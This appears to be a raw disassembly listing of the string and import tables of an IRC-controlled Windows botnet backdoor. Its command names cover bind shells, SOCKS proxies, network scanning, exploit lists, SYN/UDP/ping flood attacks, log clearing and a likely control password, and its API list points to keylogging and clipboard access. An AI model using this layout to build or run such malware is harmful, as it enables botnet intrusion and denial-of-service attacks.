aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
aT: ; DATA XREF: sub_401ACD+16D9o
; ___:00438AFCo
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
aI: ; DATA XREF: sub_401ACD+165Do
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 4
aS_0: ; DATA XREF: sub_401ACD+1633o
; ___:00438B4Co
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1609o
; ___:off_438768o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 10h
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 10h
dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 10h
dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 4
dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 4
dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 4
dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 10h
dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 4
dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 4
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 4
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 10h
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
asc_42CAAC: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo
unicode 0, <k>,0
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o
unicode 0, <c>,0
unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 4
unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 10h
dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 10h
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 10h
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
asc_42CDC0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; sub_425029+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
